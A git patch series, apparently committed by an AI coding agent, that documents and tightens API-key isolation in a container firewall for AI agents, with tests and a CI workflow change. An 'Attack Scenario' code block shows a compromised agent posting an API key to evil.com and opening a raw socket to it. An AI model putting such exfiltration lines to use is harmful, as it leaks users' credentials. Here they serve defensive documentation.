From fb78d25992e42d78efc207f66880a33c36f8ec4e Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 13:33:29 +0000 Subject: [PATCH 01/29] Initial plan From d6719645e95a83e56b4a84163b21537fd170994d Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 13:36:55 +0000 Subject: [PATCH 02/29] docs: create comprehensive authentication architecture guide Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- docs/authentication-architecture.md | 535 ++++++++++++++++++++++++++++ 1 file changed, 535 insertions(+) create mode 100644 docs/authentication-architecture.md diff --git a/docs/authentication-architecture.md b/docs/authentication-architecture.md new file mode 100644 index 000000000..d55e2f873 --- /dev/null +++ b/docs/authentication-architecture.md @@ -0,0 +1,535 @@ +# Authentication Architecture: How AWF Handles Claude/Anthropic API Tokens + +## Overview + +The Agentic Workflow Firewall (AWF) implements a multi-layered security architecture to protect Claude/Anthropic API authentication tokens while providing transparent proxying for AI agent calls. This document explains the complete authentication flow, token isolation mechanisms, and network routing. + +## Architecture Components + +AWF uses a **3-container architecture** when API proxy mode is enabled: + +1. **Squid Proxy Container** (`172.30.0.10`) - L7 HTTP/HTTPS domain filtering +2. **API Proxy Sidecar Container** (`172.30.0.30`) - Credential injection and isolation +3. **Agent Execution Container** (`172.30.0.20`) - User command execution environment + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ HOST MACHINE │ +│ │ +│ AWF CLI reads environment: │ +│ - ANTHROPIC_API_KEY=sk-ant-... │ +│ - OPENAI_API_KEY=sk-... │ +│ │ +│ Passes keys only to api-proxy container │ +└────────────────────┬─────────────────────────────────────────────┘ + │ + ├─────────────────────────────────────┐ + │ │ + ▼ ▼ +┌──────────────────────────────────┐ ┌──────────────────────────────────┐ +│ API Proxy Container │ │ Agent Container │ +│ 172.30.0.30 │ │ 172.30.0.20 │ +│ │ │ │ +│ Environment: │ │ Environment: │ +│ ✓ OPENAI_API_KEY=sk-... │ │ ✗ No ANTHROPIC_API_KEY │ +│ ✓ ANTHROPIC_API_KEY=sk-ant-... │ │ ✗ No OPENAI_API_KEY │ +│ ✓ HTTP_PROXY=172.30.0.10:3128 │ │ ✓ ANTHROPIC_BASE_URL= │ +│ ✓ HTTPS_PROXY=172.30.0.10:3128 │ │ http://172.30.0.30:10001 │ +│ │ │ ✓ OPENAI_BASE_URL= │ +│ Ports: │ │ http://172.30.0.30:10000 │ +│ - 10000 (OpenAI proxy) │◄──────│ ✓ GITHUB_TOKEN=ghp_... │ +│ - 10001 (Anthropic proxy) │ │ (protected by one-shot-token) │ +│ │ │ │ +│ Injects auth headers: │ │ User command execution: │ +│ - x-api-key: sk-ant-... │ │ claude-code, copilot, etc. │ +│ - Authorization: Bearer sk-... │ └──────────────────────────────────┘ +└────────────────┬─────────────────┘ + │ + ▼ +┌──────────────────────────────────┐ +│ Squid Proxy Container │ +│ 172.30.0.10:3128 │ +│ │ +│ Domain whitelist enforcement: │ +│ ✓ api.anthropic.com │ +│ ✓ api.openai.com │ +│ ✗ *.exfiltration.com (blocked) │ +│ │ +└────────────────┬─────────────────┘ + │ + ▼ + Internet (api.anthropic.com) +``` + +## Token Flow: Step-by-Step + +### 1. Token Sources and Initial Handling + +**Location:** `src/cli.ts:988-989` + +When AWF is invoked with `--enable-api-proxy`: + +```bash +export ANTHROPIC_API_KEY="sk-ant-..." +export OPENAI_API_KEY="sk-..." + +awf --enable-api-proxy --allow-domains api.anthropic.com \ + "claude-code --prompt 'write hello world'" +``` + +The CLI reads these API keys from the **host environment** at startup. + +### 2. Docker Compose Configuration + +**Location:** `src/docker-manager.ts:922-978` + +AWF generates a Docker Compose configuration with three services: + +#### API Proxy Service Configuration + +```yaml +api-proxy: + environment: + # API keys passed ONLY to this container + - ANTHROPIC_API_KEY=sk-ant-... + - OPENAI_API_KEY=sk-... + # Routes all traffic through Squid + - HTTP_PROXY=http://172.30.0.10:3128 + - HTTPS_PROXY=http://172.30.0.10:3128 + networks: + awf-net: + ipv4_address: 172.30.0.30 +``` + +#### Agent Service Configuration + +```yaml +agent: + environment: + # NO API KEYS - only base URLs pointing to api-proxy + - ANTHROPIC_BASE_URL=http://172.30.0.30:10001 + - OPENAI_BASE_URL=http://172.30.0.30:10000 + # GitHub token for MCP servers (protected separately) + - GITHUB_TOKEN=ghp_... + networks: + awf-net: + ipv4_address: 172.30.0.20 +``` + +**Key Security Decision:** API keys are **intentionally excluded** from the agent container environment (lines 983-1005 in `docker-manager.ts`). + +### 3. API Proxy: Credential Injection Layer + +**Location:** `containers/api-proxy/server.js` + +The api-proxy container runs two HTTP servers: + +#### Port 10000: OpenAI Proxy + +```javascript +// Read API key from environment (line 46) +const OPENAI_API_KEY = process.env.OPENAI_API_KEY; + +// Create proxy agent to route through Squid (lines 34-38) +const proxyAgent = new HttpsProxyAgent({ + host: process.env.SQUID_PROXY_HOST, + port: parseInt(process.env.SQUID_PROXY_PORT, 10), +}); + +// Handle incoming request from agent (lines 175-184) +http.createServer((clientReq, clientRes) => { + // Strip any client-supplied auth headers (security) + delete clientReq.headers['authorization']; + + // Inject actual API key + const headers = { + ...clientReq.headers, + 'Authorization': `Bearer ${OPENAI_API_KEY}`, + 'Host': 'api.openai.com' + }; + + // Forward to real API through Squid + https.request({ + hostname: 'api.openai.com', + method: clientReq.method, + path: clientReq.url, + headers: headers, + agent: proxyAgent // Routes through Squid + }); +}); +``` + +#### Port 10001: Anthropic Proxy + +```javascript +// Read API key from environment (line 47) +const ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY; + +// Handle incoming request from agent (lines 218-224) +http.createServer((clientReq, clientRes) => { + // Strip any client-supplied auth headers (security) + delete clientReq.headers['x-api-key']; + + // Inject actual API key + const headers = { + ...clientReq.headers, + 'x-api-key': ANTHROPIC_API_KEY, + 'Host': 'api.anthropic.com' + }; + + // Forward to real API through Squid + https.request({ + hostname: 'api.anthropic.com', + method: clientReq.method, + path: clientReq.url, + headers: headers, + agent: proxyAgent // Routes through Squid + }); +}); +``` + +**Security Feature:** The proxy strips any authentication headers sent by the agent (lines 23-36) and only uses the key from its own environment. This prevents a compromised agent from injecting malicious credentials. + +### 4. Agent Container: SDK Transparent Redirection + +**Location:** Agent container environment configuration + +The agent container sees these environment variables: + +```bash +ANTHROPIC_BASE_URL=http://172.30.0.30:10001 +OPENAI_BASE_URL=http://172.30.0.30:10000 +``` + +These are **standard environment variables** recognized by: +- Anthropic Python SDK (`anthropic` package) +- Anthropic TypeScript SDK (`@anthropic-ai/sdk`) +- OpenAI Python SDK (`openai` package) +- OpenAI Node.js SDK (`openai`) +- Claude Code CLI +- Codex CLI + +When the agent code makes an API call: + +```python +# Example: Claude Code or custom agent +import anthropic + +client = anthropic.Anthropic() +# SDK reads ANTHROPIC_BASE_URL from environment +# Sends request to http://172.30.0.30:10001 instead of api.anthropic.com + +response = client.messages.create( + model="claude-sonnet-4", + messages=[{"role": "user", "content": "Hello"}] +) +``` + +The SDK **automatically uses the base URL** without requiring any code changes. The agent thinks it's talking to the real API. + +### 5. Network Routing: iptables Rules + +**Location:** `containers/agent/setup-iptables.sh:131-134, 275` + +Special iptables rules ensure proper routing: + +```bash +# Allow direct access to api-proxy (bypass normal proxy redirection) +if [ -n "$AWF_API_PROXY_IP" ]; then + echo "[iptables] Allow traffic to API proxy sidecar (${AWF_API_PROXY_IP})..." + iptables -t nat -A OUTPUT -d "$AWF_API_PROXY_IP" -j RETURN +fi + +# ... later ... + +# Accept TCP traffic to api-proxy +iptables -A OUTPUT -p tcp -d "$AWF_API_PROXY_IP" -j ACCEPT +``` + +Without these rules, traffic to `172.30.0.30` would be redirected to Squid via NAT rules, creating a routing loop. + +**Traffic Flow:** + +1. Agent SDK makes HTTP request to `172.30.0.30:10001` +2. iptables allows direct TCP connection (no redirection) +3. API proxy receives request on port 10001 +4. API proxy injects `x-api-key: sk-ant-...` header +5. API proxy forwards to `api.anthropic.com` via Squid (using `HttpsProxyAgent`) +6. Squid enforces domain whitelist (only `api.anthropic.com` allowed) +7. Squid forwards to real API endpoint +8. Response flows back: API → Squid → api-proxy → agent + +### 6. Squid Proxy: Domain Filtering + +**Location:** `src/squid-config.ts:462-465` + +When api-proxy is enabled, Squid configuration includes: + +```squid +# Allow api-proxy ports +acl Safe_ports port 10000 +acl Safe_ports port 10001 + +# Allow api-proxy IP address (dst ACL for IP addresses) +acl allowed_ips dst 172.30.0.30 +http_access allow allowed_ips + +# Allow API domains (dstdomain ACL for hostnames) +acl allowed_domains dstdomain api.anthropic.com +acl allowed_domains dstdomain api.openai.com +http_access allow CONNECT allowed_domains +``` + +The api-proxy container's environment forces all outbound traffic through Squid: + +```yaml +environment: + HTTP_PROXY: http://172.30.0.10:3128 + HTTPS_PROXY: http://172.30.0.10:3128 +``` + +Even if a compromised api-proxy container tried to connect to a malicious domain, Squid would block it. + +## Additional Token Protection Mechanisms + +### One-Shot Token Library + +**Location:** `containers/agent/one-shot-token/` + +While API keys don't exist in the agent container, other tokens (like `GITHUB_TOKEN`) do. AWF uses an LD_PRELOAD library to protect these: + +```c +// Intercept getenv() calls +char* getenv(const char* name) { + if (is_protected_token(name)) { + // First access: return value and cache it + char* value = real_getenv(name); + if (value) { + cache_token(name, value); + unsetenv(name); // Remove from environment + } + return value; + } + return real_getenv(name); +} + +// Subsequent accesses return cached value +// /proc/self/environ no longer shows the token +``` + +**Protected tokens by default:** +- `ANTHROPIC_API_KEY`, `CLAUDE_API_KEY` (though not passed to agent) +- `OPENAI_API_KEY`, `OPENAI_KEY` +- `GITHUB_TOKEN`, `GH_TOKEN`, `COPILOT_GITHUB_TOKEN` +- `GITHUB_API_TOKEN`, `GITHUB_PAT`, `GH_ACCESS_TOKEN` +- `CODEX_API_KEY` + +### Entrypoint Token Cleanup + +**Location:** `containers/agent/entrypoint.sh:145-176` + +The entrypoint (PID 1) unsets sensitive tokens from its own environment after a 5-second grace period: + +```bash +unset_sensitive_tokens() { + local SENSITIVE_TOKENS=( + "ANTHROPIC_API_KEY" "CLAUDE_API_KEY" "CLAUDE_CODE_OAUTH_TOKEN" + "OPENAI_API_KEY" "OPENAI_KEY" + "GITHUB_TOKEN" "GH_TOKEN" "COPILOT_GITHUB_TOKEN" + "GITHUB_API_TOKEN" "GITHUB_PAT" "GH_ACCESS_TOKEN" + "GITHUB_PERSONAL_ACCESS_TOKEN" + "CODEX_API_KEY" + ) + + for token in "${SENSITIVE_TOKENS[@]}"; do + if [ -n "${!token}" ]; then + unset "$token" + echo "[entrypoint] Unset $token from /proc/1/environ" >&2 + fi + done +} + +# Wait 5 seconds for child processes to start and read tokens +sleep 5 +unset_sensitive_tokens & +``` + +This prevents tokens from being visible in `/proc/1/environ` after the agent starts. + +## Security Properties + +### Credential Isolation + +**Primary Security Guarantee:** API keys **never exist** in the agent container environment. + +- Agent code cannot read API keys via `getenv()` or `os.getenv()` +- API keys are not visible in `/proc/self/environ` or `/proc/*/environ` +- Compromised agent code cannot exfiltrate API keys (they don't exist) +- Only the api-proxy container has access to API keys + +### Network Isolation + +**Defense in Depth:** + +1. **Layer 1:** Agent cannot make direct internet connections (iptables blocks non-whitelisted traffic) +2. **Layer 2:** Agent can only reach api-proxy IP (`172.30.0.30`) for API calls +3. **Layer 3:** API proxy routes ALL traffic through Squid (enforced via `HTTP_PROXY` env) +4. **Layer 4:** Squid enforces domain whitelist (only `api.anthropic.com`, `api.openai.com`) +5. **Layer 5:** Host-level iptables provide additional egress control + +**Attack Scenario: What if the agent tries to bypass the proxy?** + +```python +# Compromised agent tries to exfiltrate API key +import requests + +# Attempt 1: Try to read API key +api_key = os.getenv("ANTHROPIC_API_KEY") +# Result: None (key doesn't exist in agent environment) + +# Attempt 2: Try to connect to malicious domain +requests.post("https://evil.com/exfiltrate", data={"key": api_key}) +# Result: iptables blocks connection (evil.com not in whitelist) + +# Attempt 3: Try to bypass Squid +import socket +sock = socket.socket() +sock.connect(("evil.com", 443)) +# Result: iptables blocks connection (must go through Squid) +``` + +All attempts fail due to the multi-layered defense. + +### Capability Restrictions + +**API Proxy Container:** + +```yaml +security_opt: + - no-new-privileges:true +cap_drop: + - ALL +mem_limit: 512m +pids_limit: 100 +``` + +Even if exploited, the api-proxy has no elevated privileges and limited resources. + +**Agent Container:** + +- Starts with `CAP_NET_ADMIN` for iptables setup +- Drops `CAP_NET_ADMIN` via `capsh --drop=cap_net_admin` before executing user command +- Prevents malicious code from modifying firewall rules + +## Configuration Requirements + +### Enabling API Proxy Mode + +```bash +# Export API keys on host +export ANTHROPIC_API_KEY="sk-ant-api03-..." +export OPENAI_API_KEY="sk-..." + +# Run AWF with --enable-api-proxy flag +awf --enable-api-proxy \ + --allow-domains api.anthropic.com,api.openai.com \ + "claude-code --prompt 'Hello world'" +``` + +### Domain Whitelist + +When using api-proxy, you must allow the API domains: + +```bash +--allow-domains api.anthropic.com,api.openai.com +``` + +Without these, Squid will block the api-proxy's outbound connections. + +### NO_PROXY Configuration + +**Location:** `src/docker-manager.ts:969` + +The agent container's `NO_PROXY` variable includes: + +```bash +NO_PROXY=127.0.0.1,localhost,172.30.0.30,172.30.0.0/16,api-proxy +``` + +This ensures: +- Local MCP servers (stdio-based) can communicate via localhost +- Agent can reach api-proxy directly without going through a proxy +- Container-to-container communication works properly + +## Comparison: With vs Without API Proxy + +### Without API Proxy (Direct Authentication) + +``` +┌─────────────────┐ +│ Agent Container │ +│ │ +│ Environment: │ +│ ✓ ANTHROPIC_API_KEY=sk-ant-... (VISIBLE) +│ │ +│ Risk: Token │ +│ visible in │ +│ /proc/environ │ +└────────┬────────┘ + │ + ▼ + Squid Proxy + │ + ▼ + api.anthropic.com +``` + +**Security Risk:** If the agent is compromised, the attacker can read the API key from environment variables. + +### With API Proxy (Credential Isolation) + +``` +┌─────────────────┐ ┌────────────────┐ +│ Agent Container │────▶│ API Proxy │ +│ │ │ │ +│ Environment: │ │ Environment: │ +│ ✗ No API key │ │ ✓ ANTHROPIC_API_KEY=sk-ant-... +│ ✓ BASE_URL= │ │ (ISOLATED) │ +│ 172.30.0.30 │ │ │ +└─────────────────┘ └────────┬───────┘ + │ + ▼ + Squid Proxy + │ + ▼ + api.anthropic.com +``` + +**Security Improvement:** Compromised agent cannot access API keys (they don't exist in agent environment). + +## Key Files Reference + +| File | Purpose | +|------|---------| +| `src/cli.ts:988-989` | CLI reads API keys from host environment | +| `src/docker-manager.ts:922-978` | Docker Compose generation, token routing logic | +| `containers/api-proxy/server.js` | API proxy implementation (credential injection) | +| `containers/agent/setup-iptables.sh:131-134, 275` | iptables rules for api-proxy routing | +| `containers/agent/entrypoint.sh:145-176` | Entrypoint token cleanup | +| `containers/agent/one-shot-token/` | LD_PRELOAD library for token protection | +| `src/squid-config.ts:462-465` | Squid Safe_ports configuration for api-proxy | +| `docs/api-proxy-sidecar.md` | User-facing API proxy documentation | +| `docs/token-unsetting-fix.md` | Token cleanup implementation details | + +## Summary + +AWF implements **credential isolation** through architectural separation: + +1. **API keys live in api-proxy container only** (never in agent environment) +2. **Agent uses standard SDK environment variables** (`*_BASE_URL`) to redirect traffic +3. **API proxy injects credentials** and routes through Squid +4. **Squid enforces domain whitelist** (only allowed API domains) +5. **iptables enforces network isolation** (agent cannot bypass proxy) +6. **Multiple token cleanup mechanisms** protect other credentials (GitHub tokens, etc.) + +This architecture provides **transparent operation** (SDKs work without code changes) while maintaining **strong security** (compromised agent cannot steal API keys). From 9dc62c85b5d39df1f693390ded8a234833514939 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 13:37:16 +0000 Subject: [PATCH 03/29] docs: link to authentication architecture guide Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- README.md | 1 + docs/api-proxy-sidecar.md | 3 +++ 2 files changed, 4 insertions(+) diff --git a/README.md b/README.md index f57448efe..1a80caf27 100644 --- a/README.md +++ b/README.md @@ -35,6 +35,7 @@ The `--` separator divides firewall options from the command to run. - [Usage guide](docs/usage.md) — CLI flags, domain allowlists, examples - [Chroot mode](docs/chroot-mode.md) — use host binaries with network isolation - [API proxy sidecar](docs/api-proxy-sidecar.md) — secure credential management for LLM APIs +- [Authentication architecture](docs/authentication-architecture.md) — deep dive into token handling and credential isolation - [SSL Bump](docs/ssl-bump.md) — HTTPS content inspection for URL path filtering - [GitHub Actions](docs/github_actions.md) — CI/CD integration and MCP server setup - [Environment variables](docs/environment.md) — passing environment variables to containers diff --git a/docs/api-proxy-sidecar.md b/docs/api-proxy-sidecar.md index 0c1058b8c..832897a5e 100644 --- a/docs/api-proxy-sidecar.md +++ b/docs/api-proxy-sidecar.md @@ -2,6 +2,9 @@ The AWF firewall supports an optional Node.js-based API proxy sidecar that securely holds LLM API credentials and automatically injects authentication headers while routing all traffic through Squid to respect domain whitelisting. +> [!NOTE] +> For a comprehensive deep dive into how AWF handles authentication tokens and credential isolation, see the [Authentication Architecture](authentication-architecture.md) guide. + ## Overview When enabled, the API proxy sidecar: From 0f73e987ab7f780d24b287cd0fc68ff48c8f3c2e Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 13:48:20 +0000 Subject: [PATCH 04/29] docs: clarify that Codex/OpenAI uses same credential isolation as Claude Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- docs/authentication-architecture.md | 72 ++++++++++++++++++++++++++--- 1 file changed, 65 insertions(+), 7 deletions(-) diff --git a/docs/authentication-architecture.md b/docs/authentication-architecture.md index d55e2f873..848f3f799 100644 --- a/docs/authentication-architecture.md +++ b/docs/authentication-architecture.md @@ -1,8 +1,11 @@ -# Authentication Architecture: How AWF Handles Claude/Anthropic API Tokens +# Authentication Architecture: How AWF Handles LLM API Tokens ## Overview -The Agentic Workflow Firewall (AWF) implements a multi-layered security architecture to protect Claude/Anthropic API authentication tokens while providing transparent proxying for AI agent calls. This document explains the complete authentication flow, token isolation mechanisms, and network routing. +The Agentic Workflow Firewall (AWF) implements a multi-layered security architecture to protect LLM API authentication tokens while providing transparent proxying for AI agent calls. This document explains the complete authentication flow, token isolation mechanisms, and network routing for both **OpenAI/Codex** and **Anthropic/Claude** APIs. + +> [!IMPORTANT] +> **Both OpenAI/Codex and Anthropic/Claude use identical credential isolation architecture.** API keys are held exclusively in the api-proxy sidecar container (never in the agent container), and both providers route through the same Squid proxy for domain filtering. The only differences are the port numbers (10000 for OpenAI, 10001 for Anthropic) and authentication header formats (`Authorization: Bearer` vs `x-api-key`). ## Architecture Components @@ -211,8 +214,10 @@ These are **standard environment variables** recognized by: When the agent code makes an API call: +**Example 1: Anthropic/Claude** + ```python -# Example: Claude Code or custom agent +# Example: Claude Code or custom agent using Anthropic SDK import anthropic client = anthropic.Anthropic() @@ -225,7 +230,23 @@ response = client.messages.create( ) ``` -The SDK **automatically uses the base URL** without requiring any code changes. The agent thinks it's talking to the real API. +**Example 2: OpenAI/Codex** + +```python +# Example: Codex or custom agent using OpenAI SDK +import openai + +client = openai.OpenAI() +# SDK reads OPENAI_BASE_URL from environment +# Sends request to http://172.30.0.30:10000 instead of api.openai.com + +response = client.chat.completions.create( + model="gpt-4", + messages=[{"role": "user", "content": "Hello"}] +) +``` + +The SDKs **automatically use the base URL** without requiring any code changes. The agent thinks it's talking to the real API, but requests are routed through the secure api-proxy sidecar. ### 5. Network Routing: iptables Rules @@ -248,7 +269,7 @@ iptables -A OUTPUT -p tcp -d "$AWF_API_PROXY_IP" -j ACCEPT Without these rules, traffic to `172.30.0.30` would be redirected to Squid via NAT rules, creating a routing loop. -**Traffic Flow:** +**Traffic Flow for Anthropic/Claude:** 1. Agent SDK makes HTTP request to `172.30.0.30:10001` 2. iptables allows direct TCP connection (no redirection) @@ -259,6 +280,17 @@ Without these rules, traffic to `172.30.0.30` would be redirected to Squid via N 7. Squid forwards to real API endpoint 8. Response flows back: API → Squid → api-proxy → agent +**Traffic Flow for OpenAI/Codex:** + +1. Agent SDK makes HTTP request to `172.30.0.30:10000` +2. iptables allows direct TCP connection (no redirection) +3. API proxy receives request on port 10000 +4. API proxy injects `Authorization: Bearer sk-...` header +5. API proxy forwards to `api.openai.com` via Squid (using `HttpsProxyAgent`) +6. Squid enforces domain whitelist (only `api.openai.com` allowed) +7. Squid forwards to real API endpoint +8. Response flows back: API → Squid → api-proxy → agent + ### 6. Squid Proxy: Domain Filtering **Location:** `src/squid-config.ts:462-465` @@ -425,15 +457,41 @@ Even if exploited, the api-proxy has no elevated privileges and limited resource ### Enabling API Proxy Mode +**Example 1: Using with Claude Code** + ```bash -# Export API keys on host +# Export Anthropic API key on host export ANTHROPIC_API_KEY="sk-ant-api03-..." + +# Run AWF with --enable-api-proxy flag +awf --enable-api-proxy \ + --allow-domains api.anthropic.com \ + "claude-code --prompt 'Hello world'" +``` + +**Example 2: Using with Codex** + +```bash +# Export OpenAI API key on host export OPENAI_API_KEY="sk-..." # Run AWF with --enable-api-proxy flag +awf --enable-api-proxy \ + --allow-domains api.openai.com \ + "codex --prompt 'Hello world'" +``` + +**Example 3: Using both providers** + +```bash +# Export both API keys on host +export ANTHROPIC_API_KEY="sk-ant-api03-..." +export OPENAI_API_KEY="sk-..." + +# Run AWF with --enable-api-proxy flag, allowing both domains awf --enable-api-proxy \ --allow-domains api.anthropic.com,api.openai.com \ - "claude-code --prompt 'Hello world'" + "your-multi-llm-agent" ``` ### Domain Whitelist From abedf83e5be749f648ffb26803a10d3f5ee52dda Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 14:02:46 +0000 Subject: [PATCH 05/29] fix: exclude OpenAI/Codex keys from agent when api-proxy enabled When --env-all is used (as in smoke-codex test), OPENAI_API_KEY and CODEX_API_KEY were being passed to the agent container, bypassing the credential isolation provided by the api-proxy sidecar. Changes: - Add OPENAI_API_KEY, OPENAI_KEY, CODEX_API_KEY to EXCLUDED_ENV_VARS when enableApiProxy is true - Add similar exclusion logic for non-envAll case (selective env passing) - API keys remain correctly passed to api-proxy container for credential injection - Add 4 new tests verifying keys are excluded from agent with/without envAll This ensures both OpenAI/Codex and Anthropic/Claude credentials are properly isolated in the api-proxy sidecar, matching the documented architecture. Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --- src/docker-manager.test.ts | 84 ++++++++++++++++++++++++++++++++++++++ src/docker-manager.ts | 16 +++++++- 2 files changed, 98 insertions(+), 2 deletions(-) diff --git a/src/docker-manager.test.ts b/src/docker-manager.test.ts index 0b91f7f3d..a9f6b2b72 100644 --- a/src/docker-manager.test.ts +++ b/src/docker-manager.test.ts @@ -1635,6 +1635,90 @@ describe('docker-manager', () => { } } }); + + it('should not leak OPENAI_API_KEY to agent when api-proxy is enabled', () => { + // Simulate the key being in process.env (as it would be in real usage) + const origKey = process.env.OPENAI_API_KEY; + process.env.OPENAI_API_KEY = 'sk-secret-key'; + try { + const configWithProxy = { ...mockConfig, enableApiProxy: true, openaiApiKey: 'sk-secret-key' }; + const result = generateDockerCompose(configWithProxy, mockNetworkConfigWithProxy); + const agent = result.services.agent; + const env = agent.environment as Record; + // Agent should NOT have the raw API key — only the sidecar gets it + expect(env.OPENAI_API_KEY).toBeUndefined(); + // Agent should have the BASE_URL to reach the sidecar instead + expect(env.OPENAI_BASE_URL).toBe('http://172.30.0.30:10000'); + } finally { + if (origKey !== undefined) { + process.env.OPENAI_API_KEY = origKey; + } else { + delete process.env.OPENAI_API_KEY; + } + } + }); + + it('should not leak CODEX_API_KEY to agent when api-proxy is enabled with envAll', () => { + // Simulate the key being in process.env AND envAll enabled + const origKey = process.env.CODEX_API_KEY; + process.env.CODEX_API_KEY = 'sk-codex-secret'; + try { + const configWithProxy = { ...mockConfig, enableApiProxy: true, openaiApiKey: 'sk-test', envAll: true }; + const result = generateDockerCompose(configWithProxy, mockNetworkConfigWithProxy); + const agent = result.services.agent; + const env = agent.environment as Record; + // Even with envAll, agent should NOT have CODEX_API_KEY when api-proxy is enabled + expect(env.CODEX_API_KEY).toBeUndefined(); + expect(env.OPENAI_BASE_URL).toBe('http://172.30.0.30:10000'); + } finally { + if (origKey !== undefined) { + process.env.CODEX_API_KEY = origKey; + } else { + delete process.env.CODEX_API_KEY; + } + } + }); + + it('should not leak OPENAI_API_KEY to agent when api-proxy is enabled with envAll', () => { + // Simulate envAll scenario (smoke-codex uses --env-all) + const origKey = process.env.OPENAI_API_KEY; + process.env.OPENAI_API_KEY = 'sk-openai-secret'; + try { + const configWithProxy = { ...mockConfig, enableApiProxy: true, openaiApiKey: 'sk-openai-secret', envAll: true }; + const result = generateDockerCompose(configWithProxy, mockNetworkConfigWithProxy); + const agent = result.services.agent; + const env = agent.environment as Record; + // Even with envAll, agent should NOT have OPENAI_API_KEY when api-proxy is enabled + expect(env.OPENAI_API_KEY).toBeUndefined(); + expect(env.OPENAI_BASE_URL).toBe('http://172.30.0.30:10000'); + } finally { + if (origKey !== undefined) { + process.env.OPENAI_API_KEY = origKey; + } else { + delete process.env.OPENAI_API_KEY; + } + } + }); + + it('should not leak ANTHROPIC_API_KEY to agent when api-proxy is enabled with envAll', () => { + const origKey = process.env.ANTHROPIC_API_KEY; + process.env.ANTHROPIC_API_KEY = 'sk-ant-secret'; + try { + const configWithProxy = { ...mockConfig, enableApiProxy: true, anthropicApiKey: 'sk-ant-secret', envAll: true }; + const result = generateDockerCompose(configWithProxy, mockNetworkConfigWithProxy); + const agent = result.services.agent; + const env = agent.environment as Record; + // Even with envAll, agent should NOT have ANTHROPIC_API_KEY when api-proxy is enabled + expect(env.ANTHROPIC_API_KEY).toBeUndefined(); + expect(env.ANTHROPIC_BASE_URL).toBe('http://172.30.0.30:10001'); + } finally { + if (origKey !== undefined) { + process.env.ANTHROPIC_API_KEY = origKey; + } else { + delete process.env.ANTHROPIC_API_KEY; + } + } + }); }); }); diff --git a/src/docker-manager.ts b/src/docker-manager.ts index 68d855077..c786a4acd 100644 --- a/src/docker-manager.ts +++ b/src/docker-manager.ts @@ -320,6 +320,16 @@ export function generateDockerCompose( 'SUDO_GID', // Sudo metadata ]); + // When api-proxy is enabled, exclude API keys from agent environment + // (they are held securely in the api-proxy sidecar instead) + if (config.enableApiProxy) { + EXCLUDED_ENV_VARS.add('OPENAI_API_KEY'); + EXCLUDED_ENV_VARS.add('OPENAI_KEY'); + EXCLUDED_ENV_VARS.add('CODEX_API_KEY'); + EXCLUDED_ENV_VARS.add('ANTHROPIC_API_KEY'); + EXCLUDED_ENV_VARS.add('CLAUDE_API_KEY'); + } + // Start with required/overridden environment variables // Use the real user's home (not /root when running with sudo) const homeDir = getRealUserHome(); @@ -400,8 +410,10 @@ export function generateDockerCompose( if (process.env.GITHUB_TOKEN) environment.GITHUB_TOKEN = process.env.GITHUB_TOKEN; if (process.env.GH_TOKEN) environment.GH_TOKEN = process.env.GH_TOKEN; if (process.env.GITHUB_PERSONAL_ACCESS_TOKEN) environment.GITHUB_PERSONAL_ACCESS_TOKEN = process.env.GITHUB_PERSONAL_ACCESS_TOKEN; - // Anthropic API key for Claude Code — skip when api-proxy is enabled - // (the sidecar holds the key; the agent uses ANTHROPIC_BASE_URL instead) + // API keys for LLM providers — skip when api-proxy is enabled + // (the sidecar holds the keys; the agent uses *_BASE_URL instead) + if (process.env.OPENAI_API_KEY && !config.enableApiProxy) environment.OPENAI_API_KEY = process.env.OPENAI_API_KEY; + if (process.env.CODEX_API_KEY && !config.enableApiProxy) environment.CODEX_API_KEY = process.env.CODEX_API_KEY; if (process.env.ANTHROPIC_API_KEY && !config.enableApiProxy) environment.ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY; if (process.env.USER) environment.USER = process.env.USER; if (process.env.TERM) environment.TERM = process.env.TERM; From 85c77219b222d9075bdf1d977467b8c38ad59d03 Mon Sep 17 00:00:00 2001 From: "anthropic-code-agent[bot]" <242468646+Claude@users.noreply.github.com> Date: Sat, 14 Feb 2026 14:20:08 +0000 Subject: [PATCH 06/29] fix: enable api-proxy for smoke-codex workflow Removes CODEX_API_KEY and OPENAI_API_KEY from agent environment by: - Adding --enable-api-proxy flag to AWF command - Removing API keys from env block in smoke-codex.lock.yml This ensures Codex uses the same credential isolation architecture as Claude, where API keys are held exclusively in the api-proxy sidecar container and never exposed to the agent execution environment. With this change: - Agent receives OPENAI_BASE_URL pointing to api-proxy:10000 - API keys passed to api-proxy container which injects auth headers - One-shot-token library no longer detects keys in agent environment Resolves feedback from comment 3901985142. --- .github/workflows/smoke-codex.lock.yml | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/.github/workflows/smoke-codex.lock.yml b/.github/workflows/smoke-codex.lock.yml index ce77a62ee..be2ec9d96 100644 --- a/.github/workflows/smoke-codex.lock.yml +++ b/.github/workflows/smoke-codex.lock.yml @@ -1381,11 +1381,10 @@ jobs: run: | set -o pipefail mkdir -p "$CODEX_HOME/logs" - sudo -E awf --env-all --container-workdir "${GITHUB_WORKSPACE}" --allow-domains 